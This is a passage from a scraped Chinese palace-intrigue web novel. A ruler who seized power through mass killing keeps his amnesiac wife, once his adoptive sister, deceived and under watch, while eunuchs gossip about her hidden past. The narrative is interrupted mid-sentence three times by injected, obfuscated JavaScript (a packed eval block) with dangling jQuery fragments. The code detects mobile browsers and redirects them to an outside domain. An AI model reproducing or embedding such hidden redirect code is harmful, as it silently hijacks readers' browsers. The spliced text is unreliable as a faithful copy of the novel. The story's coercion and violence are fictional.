她话未说完,忽然,随着一阵铿锵铁蹄之声陡然逼近她,一把横空而现的长刀竟在这时破空砍了下来,直接劈开了她的花轿,在她夫婿头顶上方三四寸的地方才堪堪停住,木屑四溅。
那是一把足以在沙场上将敌人砍得人马俱碎的陌刀,刀身上几乎散发着嗜血的寒意。
刀刃破空声,冬夜的寒风呼卷声,车轿上木板的碎裂声,以及她夫婿和周围侍从的惊呼叫喊声,让媜珠在那一刻心脏骤停。
她以为他们是遇到了沿路打劫的匪徒,她的目光僵硬地停留在了那把陌刀的刀刃处,连脑袋都不敢动一下。
下一刻,她的夫婿被那把陌刀的主人拖出了轿外,又被一脚踹倒在地。
而在她正惶惶不安时,面前的冰凉的刀刃又稳稳往前伸了几寸,那人骑在马上,用刀抬起了她的下巴,逼她抬头直视他的眼睛。虽然梦中的她根本看不清这个人是谁,可她却记得这双漆黑的、寒冷的眼睛。
——“媜媜啊……告诉为兄,你这是要着急去嫁给谁?”
媜珠一下子从梦境中惊醒了过来。
“皇后殿下!”
“娘娘醒了!陛下,娘娘醒了!”
*
媜珠是在椒房殿寝殿内的柔软床榻上醒来的。
醒来时她面对的并不再是那样可怕的噩梦,身体也没有被冻僵在梦中那个冬夜的寒风里。
宫娥们连声惊喜地呼唤着,不多时,等媜珠还没反应过来的时候,皇帝周奉疆已经从外间快步过来,在她床榻边坐下,紧紧地握住了她的手:“媜媜!你醒了……你终于醒了。”
皇帝冷峻的面容上是难得出现的担忧和忐忑,他握住媜珠手腕的力道极大,让媜珠几乎有点不舒服。
看着她的那一眼,皇帝的眸色极为幽深,其中甚至还夹杂着一些媜珠读不懂的暗藏的情愫。
他是皇帝,可也是她的丈夫,此刻自己昏迷后苏醒,身为丈夫,他对她的关切和担心都不是作伪,多年的朝夕相处,媜珠能够感觉到他的真心。
可经历了方才的那个梦,想到她昏迷前他对穆王夫妻问责的那些话,媜珠忽然又觉得面前的人很陌生。
她好像从来没有真的认识过他。
仔细想想,就连她当年嫁给他,好像也并非出自她的本意,在她清醒的时候,她根本不记得自己和他相爱过。
只是别人都说她失忆前非他不嫁,是别人都说这个人是她心上人,是他们安排着把她嫁给他的。
……在她所拥有的记忆里,她从来没有主动说过她要嫁给这个男人。
但面前这个男人,不只是床榻间她的丈夫,还是一个帝王。
媜珠压下心中的复杂情思,被他扶着从榻上坐了起来,靠在床头,柔婉温顺地对他微笑:
“妾谢过陛下关怀,陛下,妾并无碍,若反叫陛下为妾忧心,是妾之过。”
皇帝双眸紧紧逡巡在媜珠的身上,像是想要从她身上探查她是否有丁点的异常。
他又试探般地唤了她一声“媜媜”。
媜珠连忙应下,望着周奉疆时的神情一如往昔,她的眸光清亮如初,里面并没有对他的半分恨意。
她似乎并没有想起什么不该回想的事,皇帝的心渐渐放了下来。
皇帝握着她手的力道顿了顿,慢慢放开了她的手,似乎是长长松了一口气,眼神暗了暗,像是在躲避些什么,只对她说道:
“太医署的医者们为你诊过脉象,说你是近来思绪过重,勾起往日的旧伤,郁结五脏,加之那日没有认真多用些早膳,腹中空空,身体虚弱,这才一下昏迷了过去。”
媜珠点了点头,初初醒来,她的声音是微哑的:“是妾叫陛下挂心了。妾日后定会好好保重身体。陛下国事为重,如何能总是为妾身之事悬心挂怀?”
她又问他自己昏迷了多久。
皇帝说:“一天一夜。”
媜珠下意识地张了张嘴:“糟了……妾身的送子娘娘,妾身昨日岂不是没有拜送子娘娘?”
见她这副模样,皇帝又有些想笑,然而他想起一些往事,苦涩在心中蔓延,这笑意还未显露在面上就又被他压了下去。
他安抚媜珠:“朕知道你惦记着这个,昨日已命人替你去拜过了。送子娘娘定会保佑你我,来日生下一个康康健健的孩儿。”
媜珠也笑了笑。
这一刻两人的情绪都是平静的,仿佛她只是简简单单地昏迷了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640947|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一次,什么都没有发生过一样。
皇帝没有询问她为何会突然出现在宣室殿里,没有询问她是因为听到了什么才昏迷。
媜珠也没有问皇帝,那天为什么要召见穆王夫妻说那样的话。
太医署的医者为皇后熬煮了一副安神的汤药。皇帝亲手喂媜珠吃了药,又陪她用了午膳,然后让她继续在榻上歇息一会儿。
安神汤药的药效涌上身子,媜珠开始昏昏欲睡,很快便继续睡了过去。
周奉疆守在媜珠的床榻边,直到看到她真的睡着了,他凝视着她的睡颜,默然许久,为她轻轻捏了捏被角,拉起了帐幔,走到外间去。
他身边最亲信的大宦官倪常善屏息凝神地上前,小心替皇帝宽衣更换件新的襌衣外袍。
在皇后昏迷的这一天一夜里,皇帝是衣不解带地守着她,皇帝为皇后之事高度紧张悬心,椒房殿里的宫娥婢子们也是寝食难安,大气不敢多喘一声,整个椒房殿内外的气氛都尤为压抑。
而知晓其中真正内情的人,知道皇帝为什么如此紧张的那些人,则几乎都开始担心自己脖子上的脑袋安得稳不稳了。
连承圣殿里的赵太后都着急害怕得食难下咽。
昨日皇后昏迷未醒时,赵太后也遣嬷嬷来椒房殿看过,然皇帝当时只是冷冷地说了一句:“倘若皇后想起了什么……她做皇太后的好日子恐怕也要到头了。”
吓得赵太后几乎觉也要睡不着了。
*
皇帝纵有多大的脾气,在椒房殿里也强忍着没有发作,而是直到宣室殿里才开始一一问罪起下面的奴仆。
不论是那一日跟在赵皇后身边陪着皇后游幸琼兰苑的宫婢,还是宣室殿里没能及时向皇帝通传皇后行踪的黄门郎们,俱被皇帝严厉斥责了一番。
包括本就无辜的穆王府也被皇帝再度迁怒斥责。
这一下闹得宣室殿里也是人人自危,整座殿宇静得针落可闻。
内监倪常善垂首静静侍立在帝王身旁,他能清晰地听到皇帝沉重的呼吸声。
那简直是一种劫后余生般的庆幸和仿徨不安的恐惧。
这样卑微惶恐的情愫,本不应该在这个帝王的身上流露出来,但倪常善知道,皇帝之所以如此,是因为他面对的是一个他至今无法完全掌控的女人,
——周三娘子,周媜珠。
或者说,就是如今正躺在椒房殿里的赵皇后,赵媜珠。
倪常善知道,皇帝在她昏迷以来的这一日一夜里,几乎每时每刻都在害怕她因为遭受刺激而恢复从前的记忆。
倘若她恢复了从前的记忆,只怕等这个性情刚烈的女人闹起来的时候,阖宫上下将永无宁日。
这种事情,四年前已经发生过一次了。倪常善至今想来仍是一阵脊骨颤颤,浑身发凉,宁愿死也不愿再经历一次那样的恐怖噩梦。
不过好在上天垂怜,这一次皇后也只是简单的昏迷,看她醒来时的那个样子,分明还是一切正常。
在天子跟前躬身垂首地立了许久,倪常善终于忍不住轻轻出声劝皇帝道:
“陛下宽心罢,娘娘那里一切如常,娘娘本就什么都不知道,现下和以后……娘娘永远都会和陛下夫妻恩爱,情浓蜜意,白首偕老。”
倪常善的一番宽慰奉承后,皇帝未置可否,很久之后才颓然叹了一声:“这一次是朕大意了。是朕之失。”
5. 第 5 章
风平浪静地过了这么多年,他以为一切都不会再有改变,甚至因此渐渐松懈了对她时时刻刻的看管,这才导致出现了这场本不应该出现的纰漏。
假如还和当年他刚刚得到她的时候一样,他能够确保自己安排的心腹眼线时时刻刻守在她的身边,他能够随时知道她的动向、她的一言一行,那么,那日他在宣室殿内审问穆王夫妻,又如何能被她就这样误打误撞给听了个正着?
这样低劣的疏漏,他居然让它发生在了自己的眼皮子底下。
虽然刚才媜珠醒来的时候没有问他,可他知道,疑虑的种子想必已经在她心中埋下,她一定在困惑他为什么这样介意她提起“兖国公主”这个人。
可她为什么不问?
她若是问了,他又该如何回答她?
周奉疆抬手捏了捏自己的眉心,一日一夜,在焦躁和忧虑中守着媜珠的倦怠令他此刻无暇再去思考任何事情。
这是种身心俱疲的累。
倪常善不敢再说话。
皇帝的御案上放着一樽白釉瓷的长颈瓶,瓶内插着一枝有些被摔折了枝丫的丹桂,金黄细密的花朵幽幽散发着一阵甜而谧的香气。
殿内陷入一片森森的寂静中时,忽有宦者捧着文书在外头叩首通传:“陛下,交州战报!始兴郡守薛坚明反叛!张道恭叛军夺临武!”
听到“张道恭”这个名字,皇帝的思绪猛然被拉回,他令那宦者入内,神色有些不悦地夺过那份军报,翻开粗略扫了两眼,皇帝旋即命人召中书令等人入宣室殿议军政大事。
天子处理国政之事时,倪常善这样的宦官是不能在内窥听的。
正好趁着这个功夫,他躬着酸痛的老腰回到了自己的值房里,干儿子倪赐清立马殷勤地上前伺候干爹换衣服洗脸洗脚,然后搀着干爹到胡床上躺着歇息,自己又去张罗着取些酒菜来服侍倪常善用饭。
倪常善端过小几上的茶碗喝了口水,招手将他招回来。
“饭菜就不必了,方才陛下在椒房殿里同皇后娘娘用了午膳,我也趁闲下去吃了两口,这会儿腹内还不算饥饿,不必张罗吃喝了。”
倪赐清连忙满脸堆笑地称是,蹑手蹑脚地在他干爹胡床边的地上蹲坐下来,仰着头,试探地开口问倪常善:
“干爹老人家常常伺候在陛下娘娘跟前,日日操劳辛苦,实在受累了。伺候御前的差事,除了干爹您,这宫里也没有旁人能做的了。——呃,这听干爹您的意思,皇后娘娘想来已经醒了?那娘娘她应该没有、没有……?”
倪常善哼了两哼,将茶碗嘭地一声扣回小几上:“没想起来。娘娘什么也没想起来,这回还算是太平。”
倪赐清连连点头应和称是。
半晌,他又忍不住搭腔嘴碎起来:
“干爹,您说啊,这皇后娘娘的病,真的就能一辈子好不了?她真的就能一辈子什么都想不起来,糊里糊涂地在宫里这么过下去?
儿子我总觉着吧,这也不是个长久的法子。陛下今日防这个、明日防那个的,可也防不住五年八年一来,娘娘的病总有好的那一日。日后若是再闹出来,这可如何是好呢?俗话说城门失火殃及池鱼,儿子我这样的小虾米,哪日要是糟了祸,承了天子一怒,还不知被捻成什么样的灰呢。”
他干爹倪常善正是烦躁不耐烦的时候,听他这样啰啰嗦嗦嘴里没完,气得一把从胡床上坐起来,啐了他一口:“你个小狗崽子,多大的能耐,你算个什么人物,还议论起陛下和娘娘的事来了!我这就把你拖出去,叫都点检司的人把你一气儿打死算完!省得你哪日嘴里不干不净,闹出去反倒牵连了我!”
倪赐清被他当头啐了一口,面上半点也不敢生气,反而战战兢兢地跪地磕头求饶起来,脸上还不停堆笑:“干爹息怒!干爹饶命!是儿子的错,儿子这就抽自己两个嘴巴子,给干爹消消气!”
抬手不轻不重地抽了自己两下,倪赐清又把脸凑过去和倪常善小声低语讨好:“干爹,这原也不怪儿子嘴里以下犯上,只是在这宫里混口饭吃,多知道些消息,不就能比别人多活一日、多吃一口饭?儿子的日子,都靠干爹的赏呢。”
倪常善仍是冷笑:“有些时候,是知道的越多,死的越快。”
话虽如此,然而过了片刻后,他还是窃声和干儿子吐露了一些关于这大魏帝宫密辛的消息。
倪赐清所知道的,也都来自于他干爹。
虽然父子两个私下也没少议论过,但是每一次听到倪常善说起有关皇后的身世,倪赐清还是不止一次地感到心惊肉跳和胆寒发怵。
倪常善身为皇帝身边的贴身宦官,其实很多年前,早在皇帝还未立国登基的时候,他就开始侍奉皇帝周奉疆了。
皇帝许多不能为外人所知的密事,大多也曾由倪常善经受办过。
*
据倪常善之前和倪赐清所说,其实,宫里现在的这位赵皇后,本来压根就不姓赵。
她不是赵太后的娘家侄女,而是赵太后和先帝周鼎的亲生女儿,昔年冀州侯府的周三姑娘,周媜珠。
名义上,在从她出生到她因伤失忆的那十六年时间里,她都是当今天子周奉疆同宗同族的“亲”妹妹。
至于这个妹妹为什么会变成如今常伴天子枕畔的女人,那真是说来话长了。
先帝周鼎活着的时候没有当过皇帝,所谓皇帝的名号,也是在当今皇帝登基之后追封的。
周鼎还在世时,还属于张氏皇族的大楚江山就早已现出天下动荡、地方分裂割据的乱象了。那时候的周鼎乃至整个周家自然也是野心勃勃,欲在乱世中有一番作为。
周鼎是武人出身,割据北地冀州,屯重兵,积武器,截留冀州税赋不入朝廷,早已是北地的土皇帝。
这样的武人都有一个习惯,就是喜欢到处收养养子,叫养子们替自己卖命,充实自己的羽翼。
周鼎娶北地世家女赵氏为正妻,赵夫人,也就是如今的赵太后,起先也是婚后多年没有生育,周鼎蓄养了姬妾无数,早就生了一堆儿子。
然而他养的养子们更多。
如今的皇帝周奉疆就是他亲自挑选的养子之一。
在他收养这个养子半年之后,嫡妻赵夫人生下了唯一的一个孩子,周鼎的三女儿周三娘子。
虽然没有如愿以偿得到一个嫡子,但是这并不影响周鼎夫妇二人仍然十分宠爱这个女儿。
周鼎和赵夫人为此女取名“媜珠”,意为如珠似宝、掌上明珠。
那时候赵夫人膝下没有嫡子,却整日要和一堆生育男嗣的妾室们争风吃醋,忙得不可开交。
赵夫人自然会认为妾室所生的庶子们来日定然靠不住,于是为了暗中打压这些庶子,巩固自己的势力,赵夫人只能极力拉拢周鼎的一堆养子,并且亲自抚养过好几个养子。
周奉疆就是赵夫人当年最器重的养子之一,被赵夫人亲自抚养多年,他被养在赵夫人的院子里,和赵夫人的唯一嫡女周三娘子自幼一同长大,形如亲兄妹一般。
听说,周三娘子小时候牙牙学语,喊出第一声“阿兄”都不是对着自己那些同父异母的亲兄弟们,而是对着周奉疆这个并无血缘之亲的家里的养子。
而那几年里,前楚的河间王张道恭就藩于冀州,常年就住在冀州
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640948|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的河间王府里,与冀州侯周家之间只隔着两条街。
因周鼎之母就是大楚皇室的公主,是张道恭的姑祖母,周家也算是沾着点大楚的皇亲,周鼎还算是河间王张道恭的一个表叔,所以张道恭常年来往于冀州侯府,同冀州侯周家来往密切,与冀州侯的儿子养子们以表兄弟相称,也会叫周三娘子一声“表妹”。
也不知怎么的,这河间王就和周三娘子积年累月的相处间看对了眼,两人青梅竹马生出些情愫来了,后来直闹得河间王张道恭定要娶周三娘子当自己的王妃,周三娘子也是一副非嫁不可的架势。
那时候大楚还没真的亡国,周鼎也不确定这风雨飘摇的大楚到底什么时候真的倒下,但大楚没倒下的时候,河间王好歹也是个王,是当时老皇帝的亲儿子之一,配他周鼎的女儿,怎么也不算辱没了。
所以周鼎还活着时,是赞同这门婚事的。
偏巧周三娘子十五岁那年,周鼎旧疾复发,忽地就中风死了,从发病到过世,中间只经历了短短的一个半月。
河间王曾在周鼎病时命人快马加鞭去国都洛阳请一位宫里太医署的老太医来,想要为周鼎治一治,但是周鼎甚至都没能熬到老太医赶到冀州,就这么死了。
周鼎一死,整个冀州周家都没了主心骨,况且他又并无嫡子,生前又没有在那些庶子中请立过冀州侯世子,所以他死后的家业归谁,立马就成为整个周家所有人都心照不宣想要迫切知道的问题。
按理来说吧,周鼎生前虽然养了一群养子,但是首先可以明确的就是,他的家业应该怎么也轮不到那些养子的手上的。
毕竟人家有一堆自己的亲儿子在,家业若是留给养子,这可于情于理都不合适。
就算真的有他的哪个养子想要夺权,那一堆亲生儿子也是不会善罢甘休的,周家族里的那些族亲更是不会点头答应。
可是偏偏成大业者,没有哪个是真重情义、遵道德的。
周鼎的丧事还没办完,他的养子周奉疆就兵变夺权,把周鼎已经成年的四个儿子当场砍死了三个——剩下活着那个后来也自己把自己吓死了。
而在那几个没成年的儿子里面,一半以上不服他的也被他弄死了,像穆王那样活下来的实属是实在幸运。
周鼎的兄弟族人们不服,周奉疆又杀了他的三个亲兄弟和八九个亲侄儿。
和周奉疆一起身为周鼎养子的其他人心里也不平衡,然后那些养子们也都死得差不多了。
等周家人被他弄死一半后,周家的祠堂都被杀得血流成河了,周鼎生前留下来的那些部将属官们几乎都是闻风而服,立刻老老实实地归顺了。
从此之后,周鼎生前经营了一辈子的北地冀州,尽数落入了这个养子之手。
冀州土皇帝死了,赵夫人有惊无险地成为“土太后”,终于熬成了周家的“老夫人”,没有被那些生了庶子的妾室们翻身踩她一脚。
毕竟她是这个养子名义上的母亲,而且事实上他也一直依附着她这个母亲,养子有了“出息”,当母亲的不就该跟着享福么?
那阵子,赵夫人面上不说什么,但是倪常善猜她心里恐怕倒是很高兴的,想来赵夫人心里没少幸灾乐祸:
“还是我看中的这个养子有用!要是真叫那些庶子承袭了家业,我便是不死,也要叫他们给撵进马厩里糟践了!老匹夫周鼎留下的这些下贱庶孽,死不足惜!”
然而赵夫人很快就笑不出来了。
因为周奉疆夺得整个周家后,下一个要抢的目标,是他从小一起长大的“亲”妹妹,赵夫人的唯一孩子,周三娘子。
周媜珠。
6. 第 6 章
倪常善那时候就已是周奉疆的心腹,就曾替周奉疆办过一些事情。
比如,周奉疆曾经命他去向周三娘子隐晦表达过他的意思,让他出面开口去劝周三娘子顺从。
知道这些后的周三娘子简直要被他气死了。
她根本无法接受自己过去十几年来视作亲生兄长的人,杀了她的兄弟叔父们,残杀了她的族亲,现在还道貌岸然地要乱人伦礼法,意欲娶她为妻。
许多事情,当年那个才十几岁的三娘子完全不能理解。
比如,她母亲赵夫人可以心安理得、幸灾乐祸地接受自己的养子去杀自己丈夫的庶子们,但对于三娘子来说,她就不能接受自己的兄长去杀她别的兄长们。
她觉得周奉疆的所作所为,是残忍,是无道,是背信弃义。
在周奉疆杀了那么多周家人夺权之后,她就已经和周奉疆翻了脸,闹得如同仇人一般。
两人见一次面就大吵一次,再到后来,三娘子看见周奉疆过来都是冷脸不说话,全然无视他的存在,任凭心急火燎的赵夫人如何从中调节也无济于事。
倪常善也去劝过几次。
三娘子看着温顺柔软,跟一只无害的兔子一般,从来不发脾气的好性子,但是没想到骨子里却是极刚烈的,周奉疆杀了那么多她的家人,她如何都不会再和他和好如初。
如今两个人还没到冰释前嫌的地步呢,周奉疆又想要拆散她和河间王张道恭,还敢叫人去劝她嫁给他……
三娘子那时的心情有多崩溃,她会多恨这个自己从前的兄长,恐怕也只有她自己心里清楚了。
他周奉疆是要让冀州周家变成天下的笑柄吗?
他是要让她父亲周鼎变成天下人的饭后笑谈吗?
——好端端地收了个养子,结果自己的亲生儿子亲兄弟亲侄儿都被养子杀了一箩筐,自己的亲生女儿、唯一的嫡女还要被这所谓的养子所侮辱?
若是当真如此,周鼎这样的一世枭雄,只怕死后还要被后人再嘲笑八百年也不止。
那一年左右的时间里,两人在家中闹得不可开交,周奉疆稍微碰她一下,周三娘子动不动就要寻死觅活,赵夫人也是一个头两个大。
而周三娘子心心念念要嫁的男人,可是那位河间王张道恭。
河间王就藩于冀州,眼睁睁目睹着这些变故,他也是心焦阵痛不已,却拿不出丝毫的办法。
毕竟那时整个冀州侯周家都在周奉疆的掌控之下,他不点头,河间王就算拿来大楚皇帝赐婚的圣旨,他都不会放三娘子出嫁的。
三娘子想嫁人,只能嫁给他。
就这么闹了不知多久,终于有一次,赶上周奉疆前往临郡不在冀州家中,三娘子哭着求着让冀州侯府的管事和守卫冀州城门的副将放她出了门,深夜里摸黑坐着花轿匆匆忙忙把自己嫁了出去。
那一年,就藩于冀州的河间王也正好被皇帝召回洛阳,世人都说,大楚皇帝是有意要立河间王为太子了。
于是河间王便连夜带着逃出冀州侯府的周三娘子一路直奔洛阳而去,据说他还信誓旦旦地同三娘子承诺,等他们逃回了洛阳,他会奏明天子,风风光光地为三娘子补办婚仪,若是他回到国都洛阳后真的被立为太子,三娘子就会是他的太子妃。
结果呢,三娘子和河间王还没逃到河内郡,就叫她兄长带人抓了回来。
倪常善听当时跟着周奉疆去抓三娘子的那些人私下说过,当时周奉疆可是一刀直接劈碎了三娘子的花轿,甚至还把河间王张道恭拉下马用镶了铁片的靴子踹了个半死。
周奉疆抢回了三娘子,河间王手中无兵马与他相抗衡,弄丢了自己的新娘子,只能忍气吞声带着那为数不多的仆从夹着尾巴逃回了洛阳。
被抓回冀州侯府的三娘子又开始了没日没夜地和周奉疆寻死觅活地争吵。
赵夫人夹在其中甚是为难,两头难顾。
一面是自己唯一的亲生女儿,是自己的骨肉,如何能不心疼?
另一面么,又是自己根本惹不起的所谓“养子”。
直到后来三娘子把她自己折腾得从闺阁绣楼的二楼上摔了下来,重伤以致失忆。
等她再醒来时,竟然几乎忘记了自己是谁,过往十六七载的记忆都几乎丢了个干净。
周奉疆试探了她数次,发现她是真的几乎什么都记不得了。
她只记得她自己叫“媜珠”,记得她正准备要嫁人,但是兄长不准她嫁。
连亲爹亲娘和她要嫁的到底是哪个男人都忘记了,自然也忘记了那个早已和她反目成仇的所谓兄长。
周奉疆于是索性顺水推舟,让人告诉她,她姓“赵”,是赵家的女儿,赵夫人的侄女,是他周奉疆的未婚妻,然后就这么把三娘子娶到了手中。
至于原来的“周三娘子”,则是被他编了个染疾的幌子,对外说是“死”了。
世上从此再无周三娘子。
是时,以周奉疆在北地冀州的权位,根本没人敢反抗他的意思。
不论是赵夫人还是赵家,都得老老实实听他的话,按他的吩咐办事。
就连三娘子嫁到周家带的嫁妆,都是倪常善按照周奉疆的嘱咐去置办的。
那场婚仪办得风光体面,极尽奢华,新娘子十里红妆,羡煞北地未出嫁的闺阁少女。
周三娘子从前恨他至极、厌恶他至极,两人之间都差不多闹得跟有血海深仇一般。
然而等她失忆了,她也只能被人摆弄得团团转,乖乖地嫁给了她从前最恨的、最不愿意嫁的男人。
婚后最初的那些时日,新妇和周奉疆之间相处得竟然还十分融洽。
可惜这样的“融洽”,都是以周三娘子的失忆为代价的。
她身边所有的人都迫于周奉疆的威压而不得不欺骗她、陪着周奉疆一起演戏,但是谁都不敢想,假如有一天她忽然病好了,想起了关于从前的一切记忆,那么这个性情如此刚烈不屈的柔弱女人,又会做出怎样的反应?
周奉疆那时也是年轻气盛,血气方刚,一心沉浸在新婚后抱得美人归的志得意满里,恐怕下意识地也没有去想过这种事情发生的可能。
在她新婚一年后,也就是四年前,她还真的短暂地恢复过一次记忆。
是周鼎的一个庶子,三娘子媜珠的同父异母的弟弟,当日侥幸被周奉疆留下一条命来的。
没想到他却趁着有一日周奉疆不在,竟然直接跑到三娘子跟前指着她的鼻子破口大骂起来,声声叫嚷道:
“父亲在世时最宠爱你,却把你这贱妇坯子养得厚颜无耻、毫无骨气,如今还假借什么失忆之名,心安理得地跟我们周家的仇人充作一对奸夫□□,就这么厮混在一处!”
“周媜珠!你若是真的有良心……你对得起父亲吗?对得起你死去的那些兄弟叔伯们吗?你是怎么厚颜委身于这奸人贼子的?”
“昔年你是父亲唯一的嫡女,父亲在众女儿中最疼你、器重你,甚至一心拿你去配凤子龙孙、想将你嫁给河间王,没想到你骨子里反而最下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640949|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贱无耻,你就是个无德无义的□□!就是你那做娼妇的亲婆婆,想必也比你重情义些!”
周奉疆当年杀了那么多周鼎的儿子,但是也没有真的杀绝了,一些看着老实本分的幼童,倒是让他留下来了,比如这个指着媜珠骂的。
媜珠当场被他骂的措手不及,惶惶不安地攥着自己的衣袖,一开始完全听不懂这人在对她说什么。
然后,她那个同父异母的弟弟狠狠推了她一把,把她摔倒在地,媜珠竟陡然在这样极端的刺激后想起了无数往事。
那一次她醒来时,终于意识到了一年来日日夜夜睡在自己枕畔的男人到底是谁,意识到了自己已经失身于谁。
……她都快疯了。
*
后来媜珠是怎么和周奉疆闹的,倪常善已经不愿再去回想了。
总之,身为替人卖命、替主子操心来操心去的奴仆,四年前媜珠恢复记忆后的那一个多月,也是倪常善此生所经历的最不愿回想的一段时光。
那时候,就连他都想索性找根绳子吊死算了……
大约是无法接受这样的变故和现实的刺激,媜珠大病了一场,周奉疆又找一群医者天天给她熬安神的汤药吃,就这么吃了一个多月后,媜珠竟渐渐又丢失了这段好不容易回想起来的记忆,又变成了那一片白纸般的单纯模样。
周奉疆想法子命人哄了哄她,她就不再多疑,又变成了他温顺的妻子。
再次说起此处,倪赐清也不由得感慨:“干爹,照您的话这么说,当年那事儿能过去,也实在是机缘巧合,这娘娘自己想起来了——后来又是她自己忘了的,她要是没忘,后头还不知如何收场呢!”
倪常善连连点头,思及往事,满面沧桑之色:“是啊……恐怕是娘娘自己心里也接受不了当时的处境,所以恨到了极处,不如忘记了倒好。”
当年那件事虽然很快就匆匆收场了,但是事后皇帝自己痛定思痛,吸取了其中教训,私下对媜珠的看管愈发严密细致了起来。
——因为她不能再受任何的刺激了。
任何一点点的刺激,都可能让她想起从前的往事。
事实上,这么多年里,媜珠接触到的任何一个人,或者说是任何一个能站到媜珠面前和她说话的人,都是事先经过皇帝点头应允之后,他们才能走到媜珠跟前来的。
就连媜珠身边伺候的奴仆婢子,譬如佩芝等人,实际上都只听命于皇帝一人,这些奴婢,都是他安排来监视媜珠的眼线罢了。
不论她走到哪里,不论她在和谁说话、说了什么,皇帝都一清二楚。
皇帝是很忌讳那些脑袋不想要了的人,冒冒失失或是别有用心地跑到媜珠面前,明里暗里地和媜珠提起从前的“周三娘子”的。
他不希望任何可能的、潜在的刺激,让媜珠再度想起过去的事情。
这也是这一次皇帝对穆王和穆王妃大发雷霆的原因。
上一个刺激了皇后的人,她那个同父异母的庶弟,早就被周奉疆命人当场乱棍打死了。
以当年皇帝对周鼎留下来那几个亲生儿子的嫌恶和戒备,穆王能在周奉疆手底下捡回一条命来,甚至今时今日还能得封王爵,安享荣华富贵,这都是穆王几世的运气修来的造化。
若是让如今身为帝王的周奉疆发现穆王居心叵测想要利用皇后做些什么事情、或者是想要触动皇后想起什么不该想的事情……
只怕穆王府上上下下的几百只脑袋砍下来堆在一起,都不足以平帝王一怒。
7. 第 7 章
倪赐清又忍不住多嘴问道:“干爹,那您觉着……这回的事,是不是穆王和穆王妃蓄意挑拨的娘娘,叫娘娘在太后跟前提起的兖国公主?”
倪常善咂了咂唇,起先有过片刻的犹豫,但很快他还是坚定地道:“不像是穆王和穆王妃能做的事,这事对他们百害而无一利,他们也就是不走运,撞上这个刀口罢了。他们哪有胆子去拨弄娘娘的心弦儿。”
他笑了笑,又有些惘然地靠回了胡床上,对着干儿子说,
“其实么,要我私下说句大不敬的话,陛下这回就是太草木皆兵了些,皇后娘娘嘴里提一句兖国公主,陛下就当什么似的,这样大动干戈……
这本来就没什么,世人皆知太后只生养了一个兖国公主,偏偏公主早逝,不能承欢太后膝下,如今也快到公主薨逝的忌辰,皇后身为儿妇,提一嘴要给公主做法事,权当讨婆母一个欢心,这不是合情合理?——她若身为长嫂,这辈子都不提兖国公主,那倒像是心里有鬼,知道了些什么,所以才永世不提!”
倪赐清自然是一脸讨好,受教了般的连连点头称是:“还是干爹思虑周全。不过,只怕陛下这阵子正是生气又忧虑的关头,未必听得进左右的人这么劝。等过几日陛下肝火稍息,干爹您再把这贴心意的话说给陛下听一听,陛下肺腑之气顺了,干爹自然更得陛下亲近信重。”
倪常善有些得意地轻哼了声,没再说话。
*
椒房殿里,媜珠下午时分的这一觉睡得仍是不好。
其实这一次她并没有再做什么梦,可她仍然觉得自己很是不安,像是在一片虚空之中,混乱地摸索着身边的世界,结果摸到的除了一片又一片虚无的浓雾,别的什么都触碰不到。
等她猛然从榻上惊醒过来时,发觉自己额上已经出了一层细密的汗珠,身上轻薄的寝衣也早已被冷汗浸湿了大片。
媜珠是在浑浑噩噩中被宫婢们扶起来的。
有人喂她喝了一盏蜜水,她就顺从地张了口;有人服侍她穿衣梳头,她就安安静静地任由她们的摆弄。
小厨房里的婢子捧来一碟新做的桂花糖蒸酥酪,跪在媜珠面前说:“娘娘每日都喜用新做的糕点奉到送子娘娘跟前供奉叩拜,今日已到了娘娘祭拜送子娘娘的时辰了,这是小厨房做的供奉之物,请娘娘过目。”
媜珠身边的佩芝嬷嬷便扶着媜珠捧着这碟点心,去椒房殿的偏殿里供奉送子娘娘。
直到做完了这一切后,她们又让媜珠在殿内静静等着,说皇帝很快就会从宣室殿过来陪她用晚膳。
在寂静的等待里,媜珠的神识仿佛才慢慢归拢到肉身之中。
她像是一只毫无生气的瓷器,忽然被注入了一缕魂魄,让她陡然如有了自己的灵魂般,开始思考自己当下的处境。
然而,等终于有了“灵魂”之后,媜珠又无奈地发现,现在的自己似乎并不需要这个可怜的灵魂。
她根本不需要任何的思考,她每日一言一行的一切,原来不都是被别人安排着走的吗?
她身边的人让她做什么,她就被她们推着去做了什么。
她们喂她吃喝,让她吃药,她就乖乖地张了嘴;要给她梳妆打扮,她就乖乖地坐在梳妆台前一动不动;让她去跪拜神佛观世音,她就木然地在蒲团上跪了下来,对着面前那座镀了金身的送子娘娘虔诚叩拜。
